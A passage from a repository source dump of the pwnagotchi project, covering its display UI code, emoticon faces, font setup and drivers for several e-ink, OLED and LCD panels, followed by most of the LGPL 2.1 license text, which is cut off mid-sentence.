drawer.text(self.xy, text, font=self.font, fill=self.color) class LabeledValue(Widget): def __init__(self, label, value="", position=(0, 0), label_font=None, text_font=None, color=0, label_spacing=5): super().__init__(position, color) self.label = label self.value = value self.label_font = label_font self.text_font = text_font self.label_spacing = label_spacing def draw(self, canvas, drawer): if self.label is None: drawer.text(self.xy, self.value, font=self.label_font, fill=self.color) else: pos = self.xy drawer.text(pos, self.label, font=self.label_font, fill=self.color) drawer.text((pos[0] + self.label_spacing + 5 * len(self.label), pos[1]), self.value, font=self.text_font, fill=self.color) ================================================ FILE: pwnagotchi/ui/display.py ================================================ import os import logging import threading import pwnagotchi.plugins as plugins import pwnagotchi.ui.hw as hw from pwnagotchi.ui.view import View class Display(View): def __init__(self, config, state={}): super(Display, self).__init__(config, hw.display_for(config), state) config = config['ui']['display'] self._enabled = config['enabled'] self._rotation = config['rotation'] self.init_display() self._canvas_next_event = threading.Event() self._canvas_next = None self._render_thread_instance = threading.Thread( target=self._render_thread, daemon=True ) self._render_thread_instance.start() def is_inky(self): return self._implementation.name == 'inky' def is_papirus(self): return self._implementation.name == 'papirus' def is_waveshare_v1(self): return self._implementation.name == 'waveshare_1' def is_waveshare_v2(self): return self._implementation.name == 'waveshare_2' def is_waveshare_v3(self): return self._implementation.name == 'waveshare_3' def is_waveshare27inch(self): return self._implementation.name == 'waveshare27inch' def is_waveshare29inch(self): return self._implementation.name == 'waveshare29inch' def is_oledhat(self): return self._implementation.name == 'oledhat' def is_adafruitssd1306i2c(self): return self._implementation.name == 'adafruitssd1306i2c' def is_lcdhat(self): return self._implementation.name == 'lcdhat' def is_dfrobot_v1(self): return self._implementation.name == 'dfrobot_v1' def is_dfrobot_v2(self): return self._implementation.name == 'dfrobot_v2' def is_waveshare144lcd(self): return self._implementation.name == 'waveshare144lcd' def is_waveshare154inch(self): return self._implementation.name == 'waveshare154inch' def is_waveshare213d(self): return self._implementation.name == 'waveshare213d' def is_waveshare213bc(self): return self._implementation.name == 'waveshare213bc' def is_waveshare213inb_v4(self): return self._implementation.name == 'waveshare213inb_v4' def is_waveshare35lcd(self): return self._implementation.name == 'waveshare35lcd' def is_spotpear24inch(self): return self._implementation.name == 'spotpear24inch' def is_waveshare_any(self): return self.is_waveshare_v1() or self.is_waveshare_v2() def init_display(self): if self._enabled: self._implementation.initialize() plugins.on('display_setup', self._implementation) else: logging.warning("display module is disabled") self.on_render(self._on_view_rendered) def clear(self): self._implementation.clear() def image(self): img = None if self._canvas is not None: img = self._canvas if self._rotation == 0 else self._canvas.rotate(-self._rotation) return img def _render_thread(self): """Used for non-blocking screen updating.""" while True: self._canvas_next_event.wait() self._canvas_next_event.clear() self._implementation.render(self._canvas_next) def _on_view_rendered(self, img): try: if self._config['ui']['web']['on_frame'] != '': os.system(self._config['ui']['web']['on_frame']) except Exception as e: logging.error("%s" % e) if self._enabled: self._canvas = (img if self._rotation == 0 else img.rotate(self._rotation)) if self._implementation is not None: self._canvas_next = self._canvas self._canvas_next_event.set() ================================================ FILE: pwnagotchi/ui/faces.py ================================================ LOOK_R = '( ⚆_⚆)' LOOK_L = '(☉_☉ )' LOOK_R_HAPPY = '( ◕‿◕)' LOOK_L_HAPPY = '(◕‿◕ )' SLEEP = '(⇀‿‿↼)' SLEEP2 = '(≖‿‿≖)' AWAKE = '(◕‿‿◕)' BORED = '(-__-)' INTENSE = '(°▃▃°)' COOL = '(⌐■_■)' HAPPY = '(•‿‿•)' GRATEFUL = '(^‿‿^)' EXCITED = '(ᵔ◡◡ᵔ)' MOTIVATED = '(☼‿‿☼)' DEMOTIVATED = '(≖__≖)' SMART = '(✜‿‿✜)' LONELY = '(ب__ب)' SAD = '(╥☁╥ )' ANGRY = "(-_-')" FRIEND = '(♥‿‿♥)' BROKEN = '(☓‿‿☓)' DEBUG = '(#__#)' UPLOAD = '(1__0)' UPLOAD1 = '(1__1)' UPLOAD2 = '(0__1)' def load_from_config(config): for face_name, face_value in config.items(): globals()[face_name.upper()] = face_value ================================================ FILE: pwnagotchi/ui/fonts.py ================================================ from PIL import ImageFont # should not be changed FONT_NAME = 'DejaVuSansMono' # can be changed STATUS_FONT_NAME = None SIZE_OFFSET = 0 Bold = None BoldSmall = None BoldBig = None Medium = None Small = None Huge = None def init(config): global STATUS_FONT_NAME, SIZE_OFFSET STATUS_FONT_NAME = config['ui']['font']['name'] SIZE_OFFSET = config['ui']['font']['size_offset'] setup(10, 8, 10, 25, 25, 9) def status_font(old_font): global STATUS_FONT_NAME, SIZE_OFFSET return ImageFont.truetype(STATUS_FONT_NAME, size=old_font.size + SIZE_OFFSET) def setup(bold, bold_small, medium, huge, bold_big, small): global Bold, BoldSmall, Medium, Huge, BoldBig, Small, FONT_NAME Small = ImageFont.truetype(FONT_NAME, small) Medium = ImageFont.truetype(FONT_NAME, medium) BoldSmall = ImageFont.truetype("%s-Bold" % FONT_NAME, bold_small) Bold = ImageFont.truetype("%s-Bold" % FONT_NAME, bold) BoldBig = ImageFont.truetype("%s-Bold" % FONT_NAME, bold_big) Huge = ImageFont.truetype("%s-Bold" % FONT_NAME, huge) ================================================ FILE: pwnagotchi/ui/hw/__init__.py ================================================ from pwnagotchi.ui.hw.inky import Inky from pwnagotchi.ui.hw.papirus import Papirus from pwnagotchi.ui.hw.oledhat import OledHat from pwnagotchi.ui.hw.adafruitssd1306i2c import AdafruitSSD1306i2c from pwnagotchi.ui.hw.lcdhat import LcdHat from pwnagotchi.ui.hw.dfrobot1 import DFRobotV1 from pwnagotchi.ui.hw.dfrobot2 import DFRobotV2 from pwnagotchi.ui.hw.waveshare1 import WaveshareV1 from pwnagotchi.ui.hw.waveshare2 import WaveshareV2 from pwnagotchi.ui.hw.waveshare3 import WaveshareV3 from pwnagotchi.ui.hw.waveshare27inch import Waveshare27inch from pwnagotchi.ui.hw.waveshare29inch import Waveshare29inch from pwnagotchi.ui.hw.waveshare144lcd import Waveshare144lcd from pwnagotchi.ui.hw.waveshare154inch import Waveshare154inch from pwnagotchi.ui.hw.waveshare213d import Waveshare213d from pwnagotchi.ui.hw.waveshare213bc import Waveshare213bc from pwnagotchi.ui.hw.waveshare213inb_v4 import Waveshare213bV4 from pwnagotchi.ui.hw.waveshare35lcd import Waveshare35lcd from pwnagotchi.ui.hw.spotpear24inch import Spotpear24inch def display_for(config): # config has been normalized already in utils.load_config if config['ui']['display']['type'] == 'inky': return Inky(config) elif config['ui']['display']['type'] == 'papirus': return Papirus(config) if config['ui']['display']['type'] == 'oledhat': return OledHat(config) if config['ui']['display']['type'] == 'adafruitssd1306i2c': return AdafruitSSD1306i2c(config) if config['ui']['display']['type'] == 'lcdhat': return LcdHat(config) if config['ui']['display']['type'] == 'dfrobot_1': return DFRobotV1(config) if config['ui']['display']['type'] == 'dfrobot_2': return DFRobotV2(config) elif config['ui']['display']['type'] == 'waveshare_1': return WaveshareV1(config) elif config['ui']['display']['type'] == 'waveshare_2': return WaveshareV2(config) elif config['ui']['display']['type'] == 'waveshare_3': return WaveshareV3(config) elif config['ui']['display']['type'] == 'waveshare27inch': return Waveshare27inch(config) elif config['ui']['display']['type'] == 'waveshare29inch': return Waveshare29inch(config) elif config['ui']['display']['type'] == 'waveshare144lcd': return Waveshare144lcd(config) elif config['ui']['display']['type'] == 'waveshare154inch': return Waveshare154inch(config) elif config['ui']['display']['type'] == 'waveshare213d': return Waveshare213d(config) elif config['ui']['display']['type'] == 'waveshare213bc': return Waveshare213bc(config) elif config['ui']['display']['type'] == 'waveshare213inb_v4': return Waveshare213bV4(config) elif config['ui']['display']['type'] == 'waveshare35lcd': return Waveshare35lcd(config) elif config['ui']['display']['type'] == 'spotpear24inch': return Spotpear24inch(config) ================================================ FILE: pwnagotchi/ui/hw/adafruitssd1306i2c.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class AdafruitSSD1306i2c(DisplayImpl): def __init__(self, config): super(AdafruitSSD1306i2c, self).__init__(config, 'adafruitssd1306i2c') self._display = None def layout(self): fonts.setup(8, 8, 8, 8, 25, 9) self._layout['width'] = 128 self._layout['height'] = 64 self._layout['face'] = (0, 32) self._layout['name'] = (0, 10) self._layout['channel'] = (0, 0) self._layout['aps'] = (25, 0) self._layout['uptime'] = (65, 0) self._layout['line1'] = [0, 9, 128, 9] self._layout['line2'] = [0, 53, 128, 53] self._layout['friend_face'] = (0, 41) self._layout['friend_name'] = (40, 43) self._layout['shakes'] = (0, 53) self._layout['mode'] = (103, 10) self._layout['status'] = { 'pos': (30, 18), 'font': fonts.status_font(fonts.Small), 'max': 18 } return self._layout def initialize(self): logging.info("initializing adafruitssd1306i2c display") from pwnagotchi.ui.hw.libs.adafruit.adafruitssd1306i2c.epd import EPD logging.info("EPD loaded") self._display = EPD() self._display.init() self._display.Clear() def render(self, canvas): self._display.display(canvas) def clear(self): self._display.clear() ================================================ FILE: pwnagotchi/ui/hw/base.py ================================================ import pwnagotchi.ui.fonts as fonts class DisplayImpl(object): def __init__(self, config, name): self.name = name self.config = config['ui']['display'] self._layout = { 'width': 0, 'height': 0, 'face': (0, 0), 'name': (0, 0), 'channel': (0, 0), 'aps': (0, 0), 'uptime': (0, 0), 'line1': (0, 0), 'line2': (0, 0), 'friend_face': (0, 0), 'friend_name': (0, 0), 'shakes': (0, 0), 'mode': (0, 0), # status is special :D 'status': { 'pos': (0, 0), 'font': fonts.status_font(fonts.Medium), 'max': 20 } } def layout(self): raise NotImplementedError def initialize(self): raise NotImplementedError def render(self, canvas): raise NotImplementedError def clear(self): raise NotImplementedError ================================================ FILE: pwnagotchi/ui/hw/dfrobot1.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class DFRobotV1(DisplayImpl): def __init__(self, config): super(DFRobotV1, self).__init__(config, 'dfrobot_1') self._display = None def layout(self): fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 250 self._layout['height'] = 122 self._layout['face'] = (0, 40) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (185, 0) self._layout['line1'] = [0, 14, 250, 14] self._layout['line2'] = [0, 108, 250, 108] self._layout['friend_face'] = (0, 92) self._layout['friend_name'] = (40, 94) self._layout['shakes'] = (0, 109) self._layout['mode'] = (225, 109) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def initialize(self): logging.info("initializing dfrobot1 display") from pwnagotchi.ui.hw.libs.dfrobot.v1.dfrobot import DFRobot self._display = DFRobot() def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.display(buf) def clear(self): self._display.Clear(0xFF) ================================================ FILE: pwnagotchi/ui/hw/dfrobot2.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class DFRobotV2(DisplayImpl): def __init__(self, config): super(DFRobotV2, self).__init__(config, 'dfrobot_2') self._display = None def layout(self): fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 250 self._layout['height'] = 122 self._layout['face'] = (0, 40) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (185, 0) self._layout['line1'] = [0, 14, 250, 14] self._layout['line2'] = [0, 108, 250, 108] self._layout['friend_face'] = (0, 92) self._layout['friend_name'] = (40, 94) self._layout['shakes'] = (0, 109) self._layout['mode'] = (225, 109) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def initialize(self): logging.info("initializing dfrobot2 display") from pwnagotchi.ui.hw.libs.dfrobot.v2.dfrobot import DFRobot self._display = DFRobot() def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.display(buf) def clear(self): self._display.Clear(0xFF) ================================================ FILE: pwnagotchi/ui/hw/inky.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class Inky(DisplayImpl): def __init__(self, config): super(Inky, self).__init__(config, 'inky') self._display = None def layout(self): fonts.setup(10, 8, 10, 28, 25, 9) self._layout['width'] = 212 self._layout['height'] = 104 self._layout['face'] = (0, 37) self._layout['name'] = (5, 18) self._layout['channel'] = (0, 0) self._layout['aps'] = (30, 0) self._layout['uptime'] = (147, 0) self._layout['line1'] = [0, 12, 212, 12] self._layout['line2'] = [0, 92, 212, 92] self._layout['friend_face'] = (0, 76) self._layout['friend_name'] = (40, 78) self._layout['shakes'] = (0, 93) self._layout['mode'] = (187, 93) self._layout['status'] = { 'pos': (102, 18), 'font': fonts.status_font(fonts.Small), 'max': 20 } return self._layout def initialize(self): logging.info("initializing inky display") if self.config['color'] == 'fastAndFurious': logging.info("Initializing Inky in 2-color FAST MODE") logging.info("THIS MAY BE POTENTIALLY DANGEROUS. NO WARRANTY IS PROVIDED") logging.info("USE THIS DISPLAY IN THIS MODE AT YOUR OWN RISK") from pwnagotchi.ui.hw.libs.inkyphat.inkyphatfast import InkyPHATFast self._display = InkyPHATFast('black') self._display.set_border(InkyPHATFast.BLACK) elif self.config['color'] == 'auto': from inky.auto import auto self._display = auto() self._display.set_border(self._display.BLACK) self._layout['width'] = self._display.WIDTH self._layout['height'] = self._display.HEIGHT else: from inky import InkyPHAT self._display = InkyPHAT(self.config['color']) self._display.set_border(InkyPHAT.BLACK) def render(self, canvas): if self.config['color'] == 'black' or self.config['color'] == 'fastAndFurious': display_colors = 2 else: display_colors = 3 img_buffer = canvas.convert('RGB').convert('P', palette=1, colors=display_colors) if self.config['color'] == 'red': img_buffer.putpalette([ 255, 255, 255, # index 0 is white 0, 0, 0, # index 1 is black 255, 0, 0 # index 2 is red ]) elif self.config['color'] == 'yellow': img_buffer.putpalette([ 255, 255, 255, # index 0 is white 0, 0, 0, # index 1 is black 255, 255, 0 # index 2 is yellow ]) else: img_buffer.putpalette([ 255, 255, 255, # index 0 is white 0, 0, 0 # index 1 is black ]) self._display.set_image(img_buffer) try: self._display.show() except: logging.exception("error while rendering on inky") def clear(self): self._display.Clear() ================================================ FILE: pwnagotchi/ui/hw/lcdhat.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class LcdHat(DisplayImpl): def __init__(self, config): super(LcdHat, self).__init__(config, 'lcdhat') self._display = None def layout(self): fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 240 self._layout['height'] = 240 self._layout['face'] = (0, 40) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (175, 0) self._layout['line1'] = [0, 14, 240, 14] self._layout['line2'] = [0, 108, 240, 108] self._layout['friend_face'] = (0, 92) self._layout['friend_name'] = (40, 94) self._layout['shakes'] = (0, 109) self._layout['mode'] = (215, 109) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def initialize(self): logging.info("initializing lcdhat display") from pwnagotchi.ui.hw.libs.waveshare.lcdhat.epd import EPD self._display = EPD() self._display.init() self._display.clear() def render(self, canvas): self._display.display(canvas) def clear(self): self._display.clear() ================================================ FILE: pwnagotchi/ui/hw/libs/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/adafruit/adafruitssd1306i2c/SSD1306.py ================================================ # Adaption of the Python driver for 0.96" 128*64 i2c OLED displays, # based on the Adafruit driver without using any Adafruit dependency libraries, # instead it's using the usual smbus and RPi.GPIO # Adaptation made by: MD Raqibul Islam (github.com/erajtob) # # -- # Copyright (c) 2014 Adafruit Industries # Author: Tony DiCola # # ******************************************************************************/ # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import logging import RPi.GPIO as GPIO import time from smbus import SMBus width = 128 #LCD width height = 64 #LCD height # Constants SSD1306_I2C_ADDRESS = 0x3C # 011110+SA0+RW - 0x3C or 0x3D SSD1306_SETCONTRAST = 0x81 SSD1306_DISPLAYALLON_RESUME = 0xA4 SSD1306_DISPLAYALLON = 0xA5 SSD1306_NORMALDISPLAY = 0xA6 SSD1306_INVERTDISPLAY = 0xA7 SSD1306_DISPLAYOFF = 0xAE SSD1306_DISPLAYON = 0xAF SSD1306_SETDISPLAYOFFSET = 0xD3 SSD1306_SETCOMPINS = 0xDA SSD1306_SETVCOMDETECT = 0xDB SSD1306_SETDISPLAYCLOCKDIV = 0xD5 SSD1306_SETPRECHARGE = 0xD9 SSD1306_SETMULTIPLEX = 0xA8 SSD1306_SETLOWCOLUMN = 0x00 SSD1306_SETHIGHCOLUMN = 0x10 SSD1306_SETSTARTLINE = 0x40 SSD1306_MEMORYMODE = 0x20 SSD1306_COLUMNADDR = 0x21 SSD1306_PAGEADDR = 0x22 SSD1306_COMSCANINC = 0xC0 SSD1306_COMSCANDEC = 0xC8 SSD1306_SEGREMAP = 0xA0 SSD1306_CHARGEPUMP = 0x8D SSD1306_EXTERNALVCC = 0x1 SSD1306_SWITCHCAPVCC = 0x2 # Scrolling constants SSD1306_ACTIVATE_SCROLL = 0x2F SSD1306_DEACTIVATE_SCROLL = 0x2E SSD1306_SET_VERTICAL_SCROLL_AREA = 0xA3 SSD1306_RIGHT_HORIZONTAL_SCROLL = 0x26 SSD1306_LEFT_HORIZONTAL_SCROLL = 0x27 SSD1306_VERTICAL_AND_RIGHT_HORIZONTAL_SCROLL = 0x29 SSD1306_VERTICAL_AND_LEFT_HORIZONTAL_SCROLL = 0x2A class SSD1306Base(object): def __init__(self, width, height, rst, i2c_bus=None, i2c_address=SSD1306_I2C_ADDRESS, i2c=None): self._i2c = None self.width = width self.height = height self._pages = height//8 self._buffer = [0]*(width*self._pages) if i2c_bus is None: self._i2c = SMBus(1) else: self._i2c = SMBus(i2c_bus) self._gpio = GPIO self._gpio.setmode(GPIO.BCM) self._gpio.setwarnings(False) # Setup reset pin. self._rst = rst if not self._rst is None: self._gpio.setup(self._rst, GPIO.OUT) def _initialize(self): raise NotImplementedError def write8(self, register, value): """Write an 8-bit value to the specified register.""" value = value & 0xFF self._i2c.write_byte_data(SSD1306_I2C_ADDRESS, register, value) def command(self, c): """Send command byte to display.""" # I2C write. control = 0x00 # Co = 0, DC = 0 self.write8(control, c) time.sleep(0.01) def data(self, c): """Send byte of data to display.""" # I2C write. control = 0x40 # Co = 0, DC = 0 self.write8(control, c) time.sleep(0.01) def begin(self, vccstate=SSD1306_SWITCHCAPVCC): """Initialize display.""" # Save vcc state. self._vccstate = vccstate # Reset and initialize display. self.reset() self._initialize() # Turn on the display. self.command(SSD1306_DISPLAYON) def reset(self): """Reset the display.""" if self._rst is None: return # Set reset high for a millisecond. GPIO.output(self._rst, GPIO.HIGH) time.sleep(0.001) # Set reset low for 10 milliseconds. GPIO.output(self._rst, GPIO.LOW) time.sleep(0.010) # Set reset high again. GPIO.output(self._rst, GPIO.HIGH) def writeList(self, register, data): """Write bytes to the specified register.""" self._i2c.write_i2c_block_data(SSD1306_I2C_ADDRESS, register, data) def display(self): """Write display buffer to physical display.""" self.command(SSD1306_COLUMNADDR) self.command(0) # Column start address. (0 = reset) self.command(self.width-1) # Column end address. self.command(SSD1306_PAGEADDR) self.command(0) # Page start address. (0 = reset) self.command(self._pages-1) # Page end address. # Write buffer data. for i in range(0, len(self._buffer), 16): control = 0x40 # Co = 0, DC = 0 # data = bytearray(len(self._buffer[i:i+16]) + 1) # data[0] = control & 0xFF # data[1:] = self._buffer[i:i+16] self.writeList(control, self._buffer[i:i+16]) def image(self, image): """Set buffer to value of Python Imaging Library image. The image should be in 1 bit mode and a size equal to the display size. """ if image.mode != '1': raise ValueError('Image must be in mode 1.') imwidth, imheight = image.size if imwidth != self.width or imheight != self.height: raise ValueError('Image must be same dimensions as display ({0}x{1}).' \ .format(self.width, self.height)) # Grab all the pixels from the image, faster than getpixel. pix = image.load() # Iterate through the memory pages index = 0 for page in range(self._pages): # Iterate through all x axis columns. for x in range(self.width): # Set the bits for the column of pixels at the current position. bits = 0 # Don't use range here as it's a bit slow for bit in [0, 1, 2, 3, 4, 5, 6, 7]: bits = bits << 1 bits |= 0 if pix[(x, page*8+7-bit)] == 0 else 1 # Update buffer byte and increment to next byte. self._buffer[index] = bits index += 1 def clear(self): """Clear contents of image buffer.""" self._buffer = [0]*(self.width*self._pages) def set_contrast(self, contrast): """Sets the contrast of the display. Contrast should be a value between 0 and 255.""" if contrast < 0 or contrast > 255: raise ValueError('Contrast must be a value from 0 to 255 (inclusive).') self.command(SSD1306_SETCONTRAST) self.command(contrast) def dim(self, dim): """Adjusts contrast to dim the display if dim is True, otherwise sets the contrast to normal brightness if dim is False. """ # Assume dim display. contrast = 0 # Adjust contrast based on VCC if not dimming. if not dim: if self._vccstate == SSD1306_EXTERNALVCC: contrast = 0x9F else: contrast = 0xCF self.set_contrast(contrast) class SSD1306_128_64(SSD1306Base): def __init__(self, rst, i2c_bus=None, i2c_address=SSD1306_I2C_ADDRESS, i2c=None): # Call base class constructor. super(SSD1306_128_64, self).__init__(128, 64, rst, i2c_bus, i2c_address, i2c) def _initialize(self): # 128x64 pixel specific initialization. self.command(SSD1306_DISPLAYOFF) # 0xAE self.command(SSD1306_SETDISPLAYCLOCKDIV) # 0xD5 self.command(0x80) # the suggested ratio 0x80 self.command(SSD1306_SETMULTIPLEX) # 0xA8 self.command(0x3F) self.command(SSD1306_SETDISPLAYOFFSET) # 0xD3 self.command(0x0) # no offset self.command(SSD1306_SETSTARTLINE | 0x0) # line #0 self.command(SSD1306_CHARGEPUMP) # 0x8D if self._vccstate == SSD1306_EXTERNALVCC: self.command(0x10) else: self.command(0x14) self.command(SSD1306_MEMORYMODE) # 0x20 self.command(0x00) # 0x0 act like ks0108 self.command(SSD1306_SEGREMAP | 0x1) self.command(SSD1306_COMSCANDEC) self.command(SSD1306_SETCOMPINS) # 0xDA self.command(0x12) self.command(SSD1306_SETCONTRAST) # 0x81 if self._vccstate == SSD1306_EXTERNALVCC: self.command(0x9F) else: self.command(0xCF) self.command(SSD1306_SETPRECHARGE) # 0xd9 if self._vccstate == SSD1306_EXTERNALVCC: self.command(0x22) else: self.command(0xF1) self.command(SSD1306_SETVCOMDETECT) # 0xDB self.command(0x40) self.command(SSD1306_DISPLAYALLON_RESUME) # 0xA4 self.command(SSD1306_NORMALDISPLAY) # 0xA6 ================================================ FILE: pwnagotchi/ui/hw/libs/adafruit/adafruitssd1306i2c/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/adafruit/adafruitssd1306i2c/epd.py ================================================ from . import SSD1306 RST = 24 disp = SSD1306.SSD1306_128_64(rst=RST, i2c_bus=1, i2c_address=0x3C) class EPD(object): def __init__(self, rst=RST, i2c_bus=None, i2c_address=0x3c): self.width = 128 self.height = 64 if i2c_bus is None: self.i2c_bus = 1 else: self.i2c_bus = i2c_bus self.i2c_address = i2c_address self.disp = disp def init(self): self.disp.begin() def Clear(self): self.disp.clear() self.disp.display() def display(self, image): self.disp.image(image) self.disp.display() ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/LICENSE ================================================ GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other 